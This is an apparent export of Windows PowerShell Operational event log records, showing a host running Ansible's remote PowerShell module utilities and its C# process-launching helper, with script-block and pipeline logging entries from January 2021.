"IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFN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ICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAg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pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJy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XNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5jdGlvbiBHZXQtRmlsZUNoZWNrc3V
ScriptBlock ID: 1b69a307-c8a1-467e-add5-d6cfec8a6461
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1715 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-34fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1714 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 4552 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-32fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4928 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1713 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 1756 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-32fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1712 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 4552 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:54 AM | dfeadd90-ee34-0002-32fd-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1711 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2284 | 736 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0001-fd28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2284 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1710 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2284 | 1272 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0001-fd28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1709 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2284 | 736 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0001-fd28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = c10e397c-579d-44ba-a827-6da5b9056e9e
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 50f844e1-1fd4-4db1-b73f-76c970a6031d
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 1708 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 536 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:19 AM | dfeadd90-ee34-0003-abf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
